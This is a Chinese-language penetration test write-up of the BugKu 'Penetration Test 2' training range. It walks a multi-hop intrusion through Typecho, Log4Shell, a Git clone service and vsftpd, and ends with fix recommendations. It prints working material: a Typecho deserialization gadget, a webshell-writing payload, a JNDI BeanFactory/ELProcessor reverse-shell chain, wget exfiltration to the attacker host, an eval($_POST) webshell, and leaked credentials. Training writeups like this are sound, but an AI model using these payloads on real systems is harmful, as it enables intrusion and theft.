BugKu PRA · 渗透测试 2（Harry's Blog）渗透测试报告

目标：http://47.117.138.21/｜ 日期：2026-10-24 ｜ 结果：9 / 9 flag类型：授权靶场多级内网渗透（公网入口 → 双网卡边界 → 末端服务）

0. Evidence Chain（Evidence → Finding → Path）

0.1 Scope 摘要

0.2 Evidence

0.3 Findings

漏洞类

Flag 类

A = 目标机start.sh直接写明变量与路径且实测读到；B = 文件/数据库实测 + 官方题解阶段对应（容器 start.sh 已自删）。

0.4 Path（攻击路径 P-001）

0.5 Timeline 摘要

1. 执行摘要

本次对 BugKu PRA「渗透测试 2」靶场完成端到端渗透：从公网 Typecho 博客的install.php反序列化获得入口 RCE，读取容器 flag 与数据库 flag；随后通过内网发现边界主机上的 Spring Boot 后台系统，利用 log4j-core 2.14.1 的 Log4Shell（在trustURLCodebase=false下改用BeanFactory + ELProcessor绕过）获得 root；再经双网卡横向到 Git 克隆应用（目录列表直读 + 恶意.phtmlgetshell），最后进入第三层网络拿下 vsftpd 弱口令主机。9 个 flag 全部获取并交叉验证，发现 6 类可复现漏洞（2 个 critical 利用链、3 个 high、1 个 medium）。核心建议：修复 Typecho 反序列化与信息暴露、升级 log4j ≥ 2.17.1、限制 Git 克隆目标并禁止克隆目录执行脚本、禁用 FTP 弱口令。

2. 测试范围与授权

• 授权：靶场训练任务，仅针对上述由目标派生出的主机；未对公网其他资产做任何探测。
• 操作纪律：利用代码与 LDAP/HTTP 设施均在攻击机侧自建；未下载外部攻击工具；未做删除/写入持久化等破坏性动作（仅必要的 webshell/仓库用于验证）。
• 残留物：Typecho webshell、Rogue LDAP、git 仓库shell.phtml、FTP 下载临时文件（均限靶场，供复盘）。

3. 发现汇总

3.1 风险分布

3.2 Flag 一览

4. 漏洞详情与利用

4.1 F-V06 信息暴露（medium）

• /phpinfo.php暴露DOCUMENT_ROOT=/var/www/html、PHP 5.5.9、仅禁用pcntl_*；
• /.git/静态可读（packed-refs指向演示仓库）；
• /usr/、/usr/themes/、/usr/plugins/目录列表；/usr/uploads/可写且 PHP 可执行；
• 后台系统响应头Source: /source.zip直接给出源码包。

4.2 F-V01 Typechoinstall.php反序列化 RCE（critical）→ flag1

入口条件：?finish=非空、Referer与Host同源；__typecho_config被 Base64 解码后直接unserialize，$config['adapter']参与字符串拼接触发__toString。链：Typecho_Feed::__toString → Typecho_Request::__get → call_user_func($filter,$value)。

class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items = array(); public function __construct($a){ $this->_items[] = array('title'=>'1','link'=>'1','date'=>1508895132,'category'=>array($a),'author'=>$a); } } class Typecho_Request { private $_params = array(); private $_filter = array('assert'); public function __construct($code){ $this->_params['screenName'] = $code; } } $poc = array('adapter'=>new Typecho_Feed(new Typecho_Request($argv[1])), 'prefix'=>'typecho_'); echo base64_encode(serialize($poc));

POST /install.php?finish=a HTTP/1.1 Host: 47.117.138.21 Referer: http://47.117.138.21/ Content-Type: application/x-www-form-urlencoded __typecho_config=<base64(serialize(...))>

assert('file_put_contents("/var/www/html/usr/uploads/s.php", base64_decode("..."));')→ webshell（www-data）→cat /flag=flag1。

4.3 F-V02 数据库口令泄露（high）→ flag2

config.inc.php：cms / 7aed78676bf27528 @ localhost / cms。cms.flag表直接存放 flag2；同一库还含typecho_users的 admin 口令哈希与authCode。

4.4 F-V03 Log4Shell（critical）→ flag3 / flag4 / flag5

后台系统/login把user拼接进logger.info(...)（log4j 2.14.1）。经典${jndi:ldap://...}可达 LDAP，但目标trustURLCodebase=false，远程 class 不落地。改用本地工厂链：

LDAP 返回 javaSerializedData = serialize(org.apache.naming.ResourceRef) className = javax.el.ELProcessor classFactory= org.apache.naming.factory.BeanFactory forceString = x=eval x = "".getClass().forName("javax.script.ScriptEngineManager") .newInstance().getEngineByName("javascript") .eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,<B64>}|{base64,-d}|{bash,-i}')")

要点：

1. LDAPbindResponse/searchResEntry/searchResDone的 application tag 直接承载字段，不能再套 SEQUENCE；
2. 本地 stuborg.apache.naming.{AbstractRef,ResourceRef}（serialVersionUID=1L、无实例字段）保证类描述符与 Tomcat 9.0.x 兼容（9.0.55 仍支持forceString）；
3. Runtime.exec(String)按空白分词，命令用 brace expansion 去空格；
4. JDK JNDI 连接池会复用已关闭连接 → Rogue LDAP 开 1389/1390/1391 多端口轮换；
5. 回显：目标wget --post-file把 base64 结果 POST 回攻击机collect.php（避免 URL 长度/+问题）。

root 权限下start.sh揭示：flag3 由sed 's/MIT/$FLAG3/'注入anime.min.js，flag4=/flag，flag5=/root/flag。

4.5 F-V04 Git 克隆应用（critical）→ flag6 / flag7

Git 主机（192.168.1.3）提供repourl表单并在服务端执行git clone，/repos/为 Apache 目录列表。

• flag6（目录列表）：start.sh在容器启动时执行echo $FLAG6 > /var/www/html/repos/flag；实测/repos/flag的 Last-Modified 为 00:57（容器启动），而官方题解中的 BWVS 克隆目录是 01:56、自建repo/是 02:04。因此 flag6 是目录列表直读，clone 只是引导到/repos的叙事，并非 flag 的生成原因。
• flag7（.phtml getshell）：在边界主机 A（192.168.1.2，与 Git 主机同网段）自建裸仓库，含shell.phtml（<?php echo "PWNED"; eval($_POST["x"]); ?>），git update-server-info后用多线程静态服务提供 git dumb-http；提交repourl=http://192.168.1.2:8000/repo.git，克隆后.phtml被 PHP 解析 → www-data RCE →cat /flag=flag7。

4.6 F-V05 vsftpd 弱口令（high）→ flag8 / flag9

Git 主机另有10.10.0.2/24；10.10.0.3:21为 vsftpd 3.0.2，guest/guest登录成功：

• /home/guest/flag=flag{cf45...} PS：/→flag8，PS：/提示根目录；
• ftp_get /flag→flag9。

5. 攻击路径

公网 Typecho ──install.php 反序列化──▶ flag1 / MySQL flag2 │ └─内网 192.168.0.0/24──▶ 192.168.0.3 后台系统 ──Log4Shell(BeanFactory)──▶ flag3/4/5 │ └─双网卡 192.168.1.2──▶ 192.168.1.3 Git 仓库 ├─/repos/ 直读 → flag6 └─.phtml getshell → flag7 │ └─10.10.0.2/24──▶ 10.10.0.3 vsftpd ├─/home/guest/flag → flag8 └─/flag → flag9

交互图按章节就近嵌入（阶段耗时 §1、时间线 §0.5、拓扑 §2、资产映射 §3.2、获取时序本节、修复路线 §7）；完整索引见 §9。

6. 工具与环境

7. 修复建议

8. 附录

8.1 关键 payload / 命令索引

8.2 证据文件

9. 图形附件（Archify）

六张交互图已分别嵌入对应章节（§1 阶段耗时、§0.5 事件时间线、§2 攻击面拓扑、§3.2 资产/Flag 映射、§5 获取时序、§7 修复路线）；本表仅为索引。

六张图均为可交互的独立 HTML 图，本文在各章节内联静态截图，便于离线阅读。

报告生成：2026-10-24 ｜ 数据来源：本次实测会话与目标机取证；图形由 Archify 生成。